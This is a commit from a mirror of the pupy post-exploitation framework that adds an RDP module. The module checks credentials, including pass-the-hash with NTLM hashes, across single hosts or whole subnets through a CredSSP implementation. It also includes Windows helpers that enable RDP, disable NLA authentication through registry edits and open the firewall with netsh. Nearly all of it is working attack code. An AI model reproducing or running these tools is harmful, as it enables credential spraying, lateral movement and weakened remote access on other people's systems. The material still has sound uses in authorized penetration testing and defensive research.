mirror of https://github.com/n1nj4sec/pupy.git
Merge branch 'rdp' of https://github.com/AlessandroZ/pupy into AlessandroZ-rdp
This commit is contained in:
commit
a3e669fd60
|
@ -0,0 +1,72 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
from pupylib.PupyModule import *
|
||||
from pupylib.utils.rpyc_utils import redirected_stdio
|
||||
from netaddr import *
|
||||
|
||||
__class_name__="Rdp"
|
||||
|
||||
@config(cat="admin")
|
||||
class Rdp(PupyModule):
|
||||
""" Enable / Disable rdp connection or check for valid credentials on a remote host """
|
||||
|
||||
def init_argparse(self):
|
||||
|
||||
example = 'Examples:\n'
|
||||
example += '>> run rdp local --enable\n'
|
||||
example += '>> run rdp local --disable\n'
|
||||
example += '>> run rdp remote -u john -p P4ssw0rd -t 192.168.0.1\n'
|
||||
example += '>> run rdp remote -u john -p P4ssw0rd -t 192.168.0.1/24\n'
|
||||
|
||||
self.arg_parser = PupyArgumentParser(prog="Rdp", description=self.__doc__, epilog=example)
|
||||
subparsers = self.arg_parser.add_subparsers(title='Choose a specific action')
|
||||
|
||||
local = subparsers.add_parser('local', help='Enable / Disable rdp connection (only for windows hosts)')
|
||||
local.set_defaults(local=True, remote=False)
|
||||
local.add_argument('--enable', '-e', action='store_true', help='enable rdp')
|
||||
local.add_argument('--disable', '-d', action='store_true', help='disable rdp')
|
||||
|
||||
remote = subparsers.add_parser('remote', help='Check for valid credentials on a remote host')
|
||||
remote.set_defaults(remote=True, local=False)
|
||||
remote.add_argument('--target', '-t', dest='target', required=True, help='remote host or range for checking RDP connection')
|
||||
remote.add_argument('-d', dest='domain', default='workgroup', help='domain used for checking RDP connection')
|
||||
remote.add_argument('-u', dest='username', required=True, help='username used for checking RDP connection')
|
||||
remote.add_argument('-p', dest='password', default= '', help='password used for checking RDP connection')
|
||||
remote.add_argument('-H', dest='hashes', help='NTLM hashes used for checking RDP connection')
|
||||
|
||||
def run(self, args):
|
||||
|
||||
# TO DO: enable multi RDP session
|
||||
|
||||
if args.local:
|
||||
if args.enable or args.disable:
|
||||
if not self.client.is_windows():
|
||||
self.error("This option could be used only on windows hosts")
|
||||
return
|
||||
|
||||
self.client.load_package("pupwinutils.rdp")
|
||||
|
||||
# check if admin
|
||||
if not self.client.conn.modules["pupwinutils.rdp"].check_if_admin():
|
||||
self.error("Admin privileges are required")
|
||||
|
||||
with redirected_stdio(self.client.conn):
|
||||
if args.enable:
|
||||
self.client.conn.modules["pupwinutils.rdp"].enable_rdp()
|
||||
|
||||
if args.disable:
|
||||
self.client.conn.modules["pupwinutils.rdp"].disable_rdp()
|
||||
|
||||
elif args.remote:
|
||||
if "/" in args.target[0]:
|
||||
hosts = IPNetwork(args.target[0])
|
||||
else:
|
||||
hosts = list()
|
||||
hosts.append(args.target)
|
||||
|
||||
self.client.load_package("pupyutils.rdp_check")
|
||||
self.client.load_package("impacket")
|
||||
self.client.load_package("calendar")
|
||||
self.client.load_package("OpenSSL")
|
||||
for host in hosts:
|
||||
with redirected_stdio(self.client.conn):
|
||||
self.client.conn.modules["pupyutils.rdp_check"].check_rdp(host, args.username, args.password, args.domain, args.hashes)
|
|
@ -0,0 +1,566 @@
|
|||
#!/usr/bin/python
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (@agsolino)
|
||||
#
|
||||
# Description: [MS-RDPBCGR] and [MS-CREDSSP] partial implementation
|
||||
# just to reach CredSSP auth. This example test whether
|
||||
# an account is valid on the target host.
|
||||
#
|
||||
# ToDo:
|
||||
# [x] Manage to grab the server's SSL key so we can finalize the whole
|
||||
# authentication process (check [MS-CSSP] section 3.1.5)
|
||||
#
|
||||
|
||||
from struct import pack, unpack
|
||||
|
||||
# from impacket.examples import logger
|
||||
from impacket.structure import Structure
|
||||
from impacket.spnego import GSSAPI, ASN1_SEQUENCE, ASN1_OCTET_STRING, asn1decode, asn1encode
|
||||
import socket
|
||||
import argparse
|
||||
import sys
|
||||
# import logging
|
||||
from binascii import a2b_hex
|
||||
from Crypto.Cipher import ARC4
|
||||
from impacket import ntlm, version
|
||||
|
||||
|
||||
|
||||
TDPU_CONNECTION_REQUEST = 0xe0
|
||||
TPDU_CONNECTION_CONFIRM = 0xd0
|
||||
TDPU_DATA = 0xf0
|
||||
TPDU_REJECT = 0x50
|
||||
TPDU_DATA_ACK = 0x60
|
||||
|
||||
# RDP_NEG_REQ constants
|
||||
TYPE_RDP_NEG_REQ = 1
|
||||
PROTOCOL_RDP = 0
|
||||
PROTOCOL_SSL = 1
|
||||
PROTOCOL_HYBRID = 2
|
||||
|
||||
# RDP_NEG_RSP constants
|
||||
TYPE_RDP_NEG_RSP = 2
|
||||
EXTENDED_CLIENT_DATA_SUPPORTED = 1
|
||||
DYNVC_GFX_PROTOCOL_SUPPORTED = 2
|
||||
|
||||
# RDP_NEG_FAILURE constants
|
||||
TYPE_RDP_NEG_FAILURE = 3
|
||||
SSL_REQUIRED_BY_SERVER = 1
|
||||
SSL_NOT_ALLOWED_BY_SERVER = 2
|
||||
SSL_CERT_NOT_ON_SERVER = 3
|
||||
INCONSISTENT_FLAGS = 4
|
||||
HYBRID_REQUIRED_BY_SERVER = 5
|
||||
SSL_WITH_USER_AUTH_REQUIRED_BY_SERVER = 6
|
||||
|
||||
class TPKT(Structure):
|
||||
commonHdr = (
|
||||
('Version','B=3'),
|
||||
('Reserved','B=0'),
|
||||
('Length','>H=len(TPDU)+4'),
|
||||
('_TPDU','_-TPDU','self["Length"]-4'),
|
||||
('TPDU',':=""'),
|
||||
)
|
||||
|
||||
class TPDU(Structure):
|
||||
commonHdr = (
|
||||
('LengthIndicator','B=len(VariablePart)+1'),
|
||||
('Code','B=0'),
|
||||
('VariablePart',':=""'),
|
||||
)
|
||||
|
||||
def __init__(self, data = None):
|
||||
Structure.__init__(self,data)
|
||||
self['VariablePart']=''
|
||||
|
||||
class CR_TPDU(Structure):
|
||||
commonHdr = (
|
||||
('DST-REF','<H=0'),
|
||||
('SRC-REF','<H=0'),
|
||||
('CLASS-OPTION','B=0'),
|
||||
('Type','B=0'),
|
||||
('Flags','B=0'),
|
||||
('Length','<H=8'),
|
||||
)
|
||||
|
||||
class DATA_TPDU(Structure):
|
||||
commonHdr = (
|
||||
('EOT','B=0x80'),
|
||||
('UserData',':=""'),
|
||||
)
|
||||
|
||||
def __init__(self, data = None):
|
||||
Structure.__init__(self,data)
|
||||
self['UserData'] =''
|
||||
|
||||
|
||||
class RDP_NEG_REQ(CR_TPDU):
|
||||
structure = (
|
||||
('requestedProtocols','<L'),
|
||||
)
|
||||
def __init__(self,data=None):
|
||||
CR_TPDU.__init__(self,data)
|
||||
if data is None:
|
||||
self['Type'] = TYPE_RDP_NEG_REQ
|
||||
|
||||
class RDP_NEG_RSP(CR_TPDU):
|
||||
structure = (
|
||||
('selectedProtocols','<L'),
|
||||
)
|
||||
|
||||
class RDP_NEG_FAILURE(CR_TPDU):
|
||||
structure = (
|
||||
('failureCode','<L'),
|
||||
)
|
||||
|
||||
class TSPasswordCreds(GSSAPI):
|
||||
# TSPasswordCreds ::= SEQUENCE {
|
||||
# domainName [0] OCTET STRING,
|
||||
# userName [1] OCTET STRING,
|
||||
# password [2] OCTET STRING
|
||||
# }
|
||||
def __init__(self, data=None):
|
||||
GSSAPI.__init__(self,data)
|
||||
del self['UUID']
|
||||
|
||||
def getData(self):
|
||||
ans = pack('B', ASN1_SEQUENCE)
|
||||
ans += asn1encode( pack('B', 0xa0) +
|
||||
asn1encode( pack('B', ASN1_OCTET_STRING) +
|
||||
asn1encode( self['domainName'].encode('utf-16le'))) +
|
||||
pack('B', 0xa1) +
|
||||
asn1encode( pack('B', ASN1_OCTET_STRING) +
|
||||
asn1encode( self['userName'].encode('utf-16le'))) +
|
||||
pack('B', 0xa2) +
|
||||
asn1encode( pack('B', ASN1_OCTET_STRING) +
|
||||
asn1encode( self['password'].encode('utf-16le'))) )
|
||||
return ans
|
||||
|
||||
class TSCredentials(GSSAPI):
|
||||
# TSCredentials ::= SEQUENCE {
|
||||
# credType [0] INTEGER,
|
||||
# credentials [1] OCTET STRING
|
||||
# }
|
||||
def __init__(self, data=None):
|
||||
GSSAPI.__init__(self,data)
|
||||
del self['UUID']
|
||||
|
||||
def getData(self):
|
||||
# Let's pack the credentials field
|
||||
credentials = pack('B',0xa1)
|
||||
credentials += asn1encode(pack('B',ASN1_OCTET_STRING) +
|
||||
asn1encode(self['credentials']))
|
||||
|
||||
ans = pack('B',ASN1_SEQUENCE)
|
||||
ans += asn1encode( pack('B', 0xa0) +
|
||||
asn1encode( pack('B', 0x02) +
|
||||
asn1encode( pack('B', self['credType']))) +
|
||||
credentials)
|
||||
return ans
|
||||
|
||||
class TSRequest(GSSAPI):
|
||||
# TSRequest ::= SEQUENCE {
|
||||
# version [0] INTEGER,
|
||||
# negoTokens [1] NegoData OPTIONAL,
|
||||
# authInfo [2] OCTET STRING OPTIONAL,
|
||||
# pubKeyAuth [3] OCTET STRING OPTIONAL,
|
||||
#}
|
||||
#
|
||||
# NegoData ::= SEQUENCE OF SEQUENCE {
|
||||
# negoToken [0] OCTET STRING
|
||||
#}
|
||||
#
|
||||
|
||||
def __init__(self, data=None):
|
||||
GSSAPI.__init__(self,data)
|
||||
del self['UUID']
|
||||
|
||||
def fromString(self, data = None):
|
||||
next_byte = unpack('B',data[:1])[0]
|
||||
if next_byte != ASN1_SEQUENCE:
|
||||
raise Exception('SEQUENCE expected! (%x)' % next_byte)
|
||||
data = data[1:]
|
||||
decode_data, total_bytes = asn1decode(data)
|
||||
|
||||
next_byte = unpack('B',decode_data[:1])[0]
|
||||
if next_byte != 0xa0:
|
||||
raise Exception('0xa0 tag not found %x' % next_byte)
|
||||
decode_data = decode_data[1:]
|
||||
next_bytes, total_bytes = asn1decode(decode_data)
|
||||
# The INTEGER tag must be here
|
||||
if unpack('B',next_bytes[0])[0] != 0x02:
|
||||
raise Exception('INTEGER tag not found %r' % next_byte)
|
||||
next_byte, _ = asn1decode(next_bytes[1:])
|
||||
self['Version'] = unpack('B',next_byte)[0]
|
||||
decode_data = decode_data[total_bytes:]
|
||||
next_byte = unpack('B',decode_data[:1])[0]
|
||||
if next_byte == 0xa1:
|
||||
# We found the negoData token
|
||||
decode_data, total_bytes = asn1decode(decode_data[1:])
|
||||
|
||||
next_byte = unpack('B',decode_data[:1])[0]
|
||||
if next_byte != ASN1_SEQUENCE:
|
||||
raise Exception('ASN1_SEQUENCE tag not found %r' % next_byte)
|
||||
decode_data, total_bytes = asn1decode(decode_data[1:])
|
||||
|
||||
next_byte = unpack('B',decode_data[:1])[0]
|
||||
if next_byte != ASN1_SEQUENCE:
|
||||
raise Exception('ASN1_SEQUENCE tag not found %r' % next_byte)
|
||||
decode_data, total_bytes = asn1decode(decode_data[1:])
|
||||
|
||||
next_byte = unpack('B',decode_data[:1])[0]
|
||||
if next_byte != 0xa0:
|
||||
raise Exception('0xa0 tag not found %r' % next_byte)
|
||||
decode_data, total_bytes = asn1decode(decode_data[1:])
|
||||
|
||||
next_byte = unpack('B',decode_data[:1])[0]
|
||||
if next_byte != ASN1_OCTET_STRING:
|
||||
raise Exception('ASN1_OCTET_STRING tag not found %r' % next_byte)
|
||||
decode_data2, total_bytes = asn1decode(decode_data[1:])
|
||||
# the rest should be the data
|
||||
self['NegoData'] = decode_data2
|
||||
decode_data = decode_data[total_bytes+1:]
|
||||
|
||||
if next_byte == 0xa2:
|
||||
# ToDo: Check all this
|
||||
# We found the authInfo token
|
||||
decode_data, total_bytes = asn1decode(decode_data[1:])
|
||||
next_byte = unpack('B',decode_data[:1])[0]
|
||||
if next_byte != ASN1_OCTET_STRING:
|
||||
raise Exception('ASN1_OCTET_STRING tag not found %r' % next_byte)
|
||||
decode_data2, total_bytes = asn1decode(decode_data[1:])
|
||||
self['authInfo'] = decode_data2
|
||||
decode_data = decode_data[total_bytes+1:]
|
||||
|
||||
if next_byte == 0xa3:
|
||||
# ToDo: Check all this
|
||||
# We found the pubKeyAuth token
|
||||
decode_data, total_bytes = asn1decode(decode_data[1:])
|
||||
next_byte = unpack('B',decode_data[:1])[0]
|
||||
if next_byte != ASN1_OCTET_STRING:
|
||||
raise Exception('ASN1_OCTET_STRING tag not found %r' % next_byte)
|
||||
decode_data2, total_bytes = asn1decode(decode_data[1:])
|
||||
self['pubKeyAuth'] = decode_data2
|
||||
|
||||
def getData(self):
|
||||
# Do we have pubKeyAuth?
|
||||
if self.fields.has_key('pubKeyAuth'):
|
||||
pubKeyAuth = pack('B',0xa3)
|
||||
pubKeyAuth += asn1encode(pack('B', ASN1_OCTET_STRING) +
|
||||
asn1encode(self['pubKeyAuth']))
|
||||
else:
|
||||
pubKeyAuth = ''
|
||||
|
||||
if self.fields.has_key('authInfo'):
|
||||
authInfo = pack('B',0xa2)
|
||||
authInfo+= asn1encode(pack('B', ASN1_OCTET_STRING) +
|
||||
asn1encode(self['authInfo']))
|
||||
else:
|
||||
authInfo = ''
|
||||
|
||||
if self.fields.has_key('NegoData'):
|
||||
negoData = pack('B',0xa1)
|
||||
negoData += asn1encode(pack('B', ASN1_SEQUENCE) +
|
||||
asn1encode(pack('B', ASN1_SEQUENCE) +
|
||||
asn1encode(pack('B', 0xa0) +
|
||||
asn1encode(pack('B', ASN1_OCTET_STRING) +
|
||||
asn1encode(self['NegoData'])))))
|
||||
else:
|
||||
negoData = ''
|
||||
ans = pack('B', ASN1_SEQUENCE)
|
||||
ans += asn1encode(pack('B',0xa0) +
|
||||
asn1encode(pack('B',0x02) + asn1encode(pack('B',0x02))) +
|
||||
negoData + authInfo + pubKeyAuth)
|
||||
|
||||
return ans
|
||||
|
||||
# if __name__ == '__main__':
|
||||
|
||||
# import socket
|
||||
# import argparse
|
||||
# import sys
|
||||
# import logging
|
||||
# from binascii import a2b_hex
|
||||
# from Crypto.Cipher import ARC4
|
||||
# from impacket import ntlm, version
|
||||
# try:
|
||||
# import OpenSSL
|
||||
# from OpenSSL import SSL, crypto
|
||||
# except:
|
||||
# logging.critical("pyOpenSSL is not installed, can't continue")
|
||||
# sys.exit(1)
|
||||
|
||||
|
||||
class SPNEGOCipher:
|
||||
def __init__(self, flags, randomSessionKey):
|
||||
self.__flags = flags
|
||||
if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
|
||||
self.__clientSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey)
|
||||
self.__serverSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey,"Server")
|
||||
self.__clientSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey)
|
||||
self.__serverSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey,"Server")
|
||||
# Preparing the keys handle states
|
||||
cipher3 = ARC4.new(self.__clientSealingKey)
|
||||
self.__clientSealingHandle = cipher3.encrypt
|
||||
cipher4 = ARC4.new(self.__serverSealingKey)
|
||||
self.__serverSealingHandle = cipher4.encrypt
|
||||
else:
|
||||
# Same key for everything
|
||||
self.__clientSigningKey = randomSessionKey
|
||||
self.__serverSigningKey = randomSessionKey
|
||||
self.__clientSealingKey = randomSessionKey
|
||||
self.__clientSealingKey = randomSessionKey
|
||||
cipher = ARC4.new(self.__clientSigningKey)
|
||||
self.__clientSealingHandle = cipher.encrypt
|
||||
self.__serverSealingHandle = cipher.encrypt
|
||||
self.__sequence = 0
|
||||
|
||||
def encrypt(self, plain_data):
|
||||
if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
|
||||
# When NTLM2 is on, we sign the whole pdu, but encrypt just
|
||||
# the data, not the dcerpc header. Weird..
|
||||
sealedMessage, signature = ntlm.SEAL(self.__flags,
|
||||
self.__clientSigningKey,
|
||||
self.__clientSealingKey,
|
||||
plain_data,
|
||||
plain_data,
|
||||
self.__sequence,
|
||||
self.__clientSealingHandle)
|
||||
else:
|
||||
sealedMessage, signature = ntlm.SEAL(self.__flags,
|
||||
self.__clientSigningKey,
|
||||
self.__clientSealingKey,
|
||||
plain_data,
|
||||
plain_data,
|
||||
self.__sequence,
|
||||
self.__clientSealingHandle)
|
||||
|
||||
self.__sequence += 1
|
||||
|
||||
return signature, sealedMessage
|
||||
|
||||
def decrypt(self, answer):
|
||||
if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
|
||||
# TODO: FIX THIS, it's not calculating the signature well
|
||||
# Since I'm not testing it we don't care... yet
|
||||
answer, signature = ntlm.SEAL(self.__flags,
|
||||
self.__serverSigningKey,
|
||||
self.__serverSealingKey,
|
||||
answer,
|
||||
answer,
|
||||
self.__sequence,
|
||||
self.__serverSealingHandle)
|
||||
else:
|
||||
answer, signature = ntlm.SEAL(self.__flags,
|
||||
self.__serverSigningKey,
|
||||
self.__serverSealingKey,
|
||||
answer,
|
||||
answer,
|
||||
self.__sequence,
|
||||
self.__serverSealingHandle)
|
||||
self.__sequence += 1
|
||||
|
||||
return signature, answer
|
||||
|
||||
def check_rdp(host, username, password, domain, hashes = None):
|
||||
try:
|
||||
import OpenSSL
|
||||
from OpenSSL import SSL, crypto
|
||||
except:
|
||||
print "pyOpenSSL is not installed, can't continue"
|
||||
return
|
||||
|
||||
if hashes is not None:
|
||||
lmhash, nthash = hashes.split(':')
|
||||
lmhash = a2b_hex(lmhash)
|
||||
nthash = a2b_hex(nthash)
|
||||
|
||||
else:
|
||||
lmhash = ''
|
||||
nthash = ''
|
||||
|
||||
tpkt = TPKT()
|
||||
tpdu = TPDU()
|
||||
rdp_neg = RDP_NEG_REQ()
|
||||
rdp_neg['Type'] = TYPE_RDP_NEG_REQ
|
||||
rdp_neg['requestedProtocols'] = PROTOCOL_HYBRID | PROTOCOL_SSL
|
||||
tpdu['VariablePart'] = str(rdp_neg)
|
||||
tpdu['Code'] = TDPU_CONNECTION_REQUEST
|
||||
tpkt['TPDU'] = str(tpdu)
|
||||
|
||||
s = socket.socket()
|
||||
try:
|
||||
# s.settimeout(5) # not work adding this
|
||||
s.connect((host,3389))
|
||||
except Exception as e:
|
||||
if e.errno == 113:
|
||||
print '[-] No route to host : %s' % host
|
||||
else:
|
||||
print '[-] %s - RDP should not be enabled' % str(e)
|
||||
return
|
||||
|
||||
s.sendall(str(tpkt))
|
||||
pkt = s.recv(8192)
|
||||
tpkt.fromString(pkt)
|
||||
tpdu.fromString(tpkt['TPDU'])
|
||||
cr_tpdu = CR_TPDU(tpdu['VariablePart'])
|
||||
if cr_tpdu['Type'] == TYPE_RDP_NEG_FAILURE:
|
||||
rdp_failure = RDP_NEG_FAILURE(tpdu['VariablePart'])
|
||||
rdp_failure.dump()
|
||||
print "Server doesn't support PROTOCOL_HYBRID, hence we can't use CredSSP to check credentials"
|
||||
return
|
||||
else:
|
||||
rdp_neg.fromString(tpdu['VariablePart'])
|
||||
|
||||
# Since we were accepted to talk PROTOCOL_HYBRID, below is its implementation
|
||||
|
||||
# 1. The CredSSP client and CredSSP server first complete the TLS handshake,
|
||||
# as specified in [RFC2246]. After the handshake is complete, all subsequent
|
||||
# CredSSP Protocol messages are encrypted by the TLS channel.
|
||||
# The CredSSP Protocol does not extend the TLS wire protocol. As part of the TLS
|
||||
# handshake, the CredSSP server does not request the client's X.509 certificate
|
||||
# (thus far, the client is anonymous). Also, the CredSSP Protocol does not require
|
||||
# the client to have a commonly trusted certification authority root with the
|
||||
# CredSSP server. Thus, the CredSSP server MAY use, for example,
|
||||
# a self-signed X.509 certificate.
|
||||
|
||||
# Switching to TLS now
|
||||
ctx = SSL.Context(SSL.TLSv1_METHOD)
|
||||
ctx.set_cipher_list('RC4')
|
||||
tls = SSL.Connection(ctx,s)
|
||||
tls.set_connect_state()
|
||||
tls.do_handshake()
|
||||
|
||||
# If you want to use Python internal ssl, uncomment this and comment
|
||||
# the previous lines
|
||||
#tls = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_TLSv1, ciphers='RC4')
|
||||
|
||||
# 2. Over the encrypted TLS channel, the SPNEGO handshake between the client
|
||||
# and server completes mutual authentication and establishes an encryption key
|
||||
# that is used by the SPNEGO confidentiality services, as specified in [RFC4178].
|
||||
# All SPNEGO tokens as well as the underlying encryption algorithms are opaque to
|
||||
# the calling application (the CredSSP client and CredSSP server).
|
||||
# The wire protocol for SPNEGO is specified in [MS-SPNG].
|
||||
# The SPNEGO tokens exchanged between the client and the server are encapsulated
|
||||
# in the negoTokens field of the TSRequest structure. Both the client and the
|
||||
# server use this structure as many times as necessary to complete the SPNEGO
|
||||
# exchange.<9>
|
||||
#
|
||||
# Note During this phase of the protocol, the OPTIONAL authInfo field is omitted
|
||||
# from the TSRequest structure by the client and server; the OPTIONAL pubKeyAuth
|
||||
# field is omitted by the client unless the client is sending the last SPNEGO token.
|
||||
# If the client is sending the last SPNEGO token, the TSRequest structure MUST have
|
||||
# both the negoToken and the pubKeyAuth fields filled in.
|
||||
|
||||
# NTLMSSP stuff
|
||||
auth = ntlm.getNTLMSSPType1('','',True, use_ntlmv2 = True)
|
||||
|
||||
ts_request = TSRequest()
|
||||
ts_request['NegoData'] = str(auth)
|
||||
|
||||
tls.send(ts_request.getData())
|
||||
buff = tls.recv(4096)
|
||||
ts_request.fromString(buff)
|
||||
|
||||
# 3. The client encrypts the public key it received from the server (contained
|
||||
# in the X.509 certificate) in the TLS handshake from step 1, by using the
|
||||
# confidentiality support of SPNEGO. The public key that is encrypted is the
|
||||
# ASN.1-encoded SubjectPublicKey sub-field of SubjectPublicKeyInfo from the X.509
|
||||
# certificate, as specified in [RFC3280] section 4.1. The encrypted key is
|
||||
# encapsulated in the pubKeyAuth field of the TSRequest structure and is sent over
|
||||
# the TLS channel to the server.
|
||||
#
|
||||
# Note During this phase of the protocol, the OPTIONAL authInfo field is omitted
|
||||
# from the TSRequest structure; the client MUST send its last SPNEGO token to the
|
||||
# server in the negoTokens field (see step 2) along with the encrypted public key
|
||||
# in the pubKeyAuth field.
|
||||
|
||||
# Last SPNEGO token calculation
|
||||
#ntlmChallenge = ntlm.NTLMAuthChallenge(ts_request['NegoData'])
|
||||
type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, ts_request['NegoData'], username, password, domain, lmhash, nthash, use_ntlmv2 = True)
|
||||
|
||||
# Get server public key
|
||||
server_cert = tls.get_peer_certificate()
|
||||
pkey = server_cert.get_pubkey()
|
||||
dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey)
|
||||
|
||||
# Fix up due to PyOpenSSL lack for exporting public keys
|
||||
dump = dump[7:]
|
||||
dump = '\x30'+ asn1encode(dump)
|
||||
|
||||
cipher = SPNEGOCipher(type3['flags'], exportedSessionKey)
|
||||
signature, cripted_key = cipher.encrypt(dump)
|
||||
ts_request['NegoData'] = str(type3)
|
||||
ts_request['pubKeyAuth'] = str(signature) + cripted_key
|
||||
|
||||
try:
|
||||
# Sending the Type 3 NTLM blob
|
||||
tls.send(ts_request.getData())
|
||||
# The other end is waiting for the pubKeyAuth field, but looks like it's
|
||||
# not needed to check whether authentication worked.
|
||||
# If auth is unsuccessful, it throws an exception with the previous send().
|
||||
# If auth is successful, the server waits for the pubKeyAuth and doesn't answer
|
||||
# anything. So, I'm sending garbage so the server returns an error.
|
||||
# Luckily, it's a different error so we can determine whether or not auth worked ;)
|
||||
buff = tls.recv(1024)
|
||||
except Exception, err:
|
||||
if str(err).find("denied") > 0:
|
||||
print "[-] Access Denied"
|
||||
else:
|
||||
print err
|
||||
return
|
||||
|
||||
# 4. After the server receives the public key in step 3, it first verifies that
|
||||
# it has the same public key that it used as part of the TLS handshake in step 1.
|
||||
# The server then adds 1 to the first byte representing the public key (the ASN.1
|
||||
# structure corresponding to the SubjectPublicKey field, as described in step 3)
|
||||
# and encrypts the binary result by using the SPNEGO encryption services.
|
||||
# Due to the addition of 1 to the binary data, and encryption of the data as a binary
|
||||
# structure, the resulting value may not be valid ASN.1-encoded values.
|
||||
# The encrypted binary data is encapsulated in the pubKeyAuth field of the TSRequest
|
||||
# structure and is sent over the encrypted TLS channel to the client.
|
||||
# The addition of 1 to the first byte of the public key is performed so that the
|
||||
# client-generated pubKeyAuth message cannot be replayed back to the client by an
|
||||
# attacker.
|
||||
#
|
||||
# Note During this phase of the protocol, the OPTIONAL authInfo and negoTokens
|
||||
# fields are omitted from the TSRequest structure.
|
||||
|
||||
ts_request = TSRequest(buff)
|
||||
|
||||
# Now we're decrypting the certificate + 1 sent by the server. Not worth checking ;)
|
||||
signature, plain_text = cipher.decrypt(ts_request['pubKeyAuth'][16:])
|
||||
|
||||
# 5. After the client successfully verifies server authenticity by performing a
|
||||
# binary comparison of the data from step 4 to that of the data representing
|
||||
# the public key from the server's X.509 certificate (as specified in [RFC3280],
|
||||
# section 4.1), it encrypts the user's credentials (either password or smart card
|
||||
# PIN) by using the SPNEGO encryption services. The resulting value is
|
||||
# encapsulated in the authInfo field of the TSRequest structure and sent over
|
||||
# the encrypted TLS channel to the server.
|
||||
# The TSCredentials structure within the authInfo field of the TSRequest
|
||||
# structure MAY contain either a TSPasswordCreds or a TSSmartCardCreds structure,
|
||||
# but MUST NOT contain both.
|
||||
#
|
||||
# Note During this phase of the protocol, the OPTIONAL pubKeyAuth and negoTokens
|
||||
# fields are omitted from the TSRequest structure.
|
||||
tsp = TSPasswordCreds()
|
||||
tsp['domainName'] = domain
|
||||
tsp['userName'] = username
|
||||
tsp['password'] = password
|
||||
tsc = TSCredentials()
|
||||
tsc['credType'] = 1 # TSPasswordCreds
|
||||
tsc['credentials'] = tsp.getData()
|
||||
|
||||
signature, cripted_creds = cipher.encrypt(tsc.getData())
|
||||
ts_request = TSRequest()
|
||||
ts_request['authInfo'] = str(signature) + cripted_creds
|
||||
tls.send(ts_request.getData())
|
||||
tls.close()
|
||||
print "[+] Valid RDP credentials"
|
||||
|
|
@ -0,0 +1,75 @@
|
|||
from _winreg import *
|
||||
import ctypes
|
||||
import subprocess
|
||||
|
||||
def check_if_admin():
|
||||
return ctypes.windll.shell32.IsUserAnAdmin() != 0
|
||||
|
||||
def setRegValue(aReg, keyPath, regPath, value):
|
||||
try:
|
||||
aKey = OpenKey(aReg, keyPath, 0, KEY_WRITE)
|
||||
SetValueEx(aKey, regPath, 0, REG_DWORD, value)
|
||||
CloseKey(aKey)
|
||||
return True
|
||||
except:
|
||||
return False
|
||||
|
||||
def modifyKey(keyPath, regPath, value, root=HKEY_LOCAL_MACHINE):
|
||||
aReg = ConnectRegistry(None, root)
|
||||
|
||||
if not setRegValue(aReg, keyPath, regPath, value):
|
||||
CloseKey(aReg)
|
||||
return False
|
||||
|
||||
CloseKey(aReg)
|
||||
return True
|
||||
|
||||
def executeCmd(cmd):
|
||||
command=['cmd.exe', '/c'] + cmd.split()
|
||||
res = subprocess.check_output(command, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, universal_newlines=True)
|
||||
# info=subprocess.STARTUPINFO()
|
||||
# info.dwFlags=subprocess.STARTF_USESHOWWINDOW | subprocess.CREATE_NEW_PROCESS_GROUP
|
||||
# info.wShowWindow=subprocess.SW_HIDE
|
||||
# p=subprocess.Popen(command, startupinfo=info, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, universal_newlines=True)
|
||||
# results, _=p.communicate()
|
||||
return res
|
||||
|
||||
def enable_rdp():
|
||||
# enable RDP
|
||||
if modifyKey(r"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\", 'fDenyTSConnections', 0):
|
||||
# disable NLA authentication
|
||||
if modifyKey(r"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\", "UserAuthentication", 0):
|
||||
# adding a firewall rule
|
||||
cmd = 'netsh firewall set service type=remotedesktop mod=enable'
|
||||
# cmd = 'netsh advfirewall firewall set rule group="Bureau à distance" new enable=Yes'
|
||||
r = executeCmd(cmd)
|
||||
if 'ok' in r.lower():
|
||||
print '[+] RDP enabled'
|
||||
else:
|
||||
print '[-] Failed to add new firewall rule'
|
||||
else:
|
||||
print '[-] Failed to disable NLA authentication'
|
||||
else:
|
||||
print '[-] Failed to change the rdp key'
|
||||
|
||||
|
||||
def disable_rdp():
|
||||
# disable RDP
|
||||
if modifyKey(r"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\", 'fDenyTSConnections', 1):
|
||||
# enable NLA authentication
|
||||
if modifyKey(r"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\", "UserAuthentication", 1):
|
||||
# removing a firewall rule
|
||||
cmd = 'netsh firewall set service type=remotedesktop mod=disable'
|
||||
r = executeCmd(cmd)
|
||||
if 'ok' in r.lower():
|
||||
print '[+] RDP disabled'
|
||||
else:
|
||||
print '[-] Failed to remove the rdp firewall rule'
|
||||
else:
|
||||
print '[-] Failed to disable NLA authentication'
|
||||
else:
|
||||
print '[-] Failed to change the rdp key'
|
||||
|
||||
|
||||
|
||||
# www.vladan.fr/multiple-rdp-sessions-on-windows/
|
Loading…
Reference in New Issue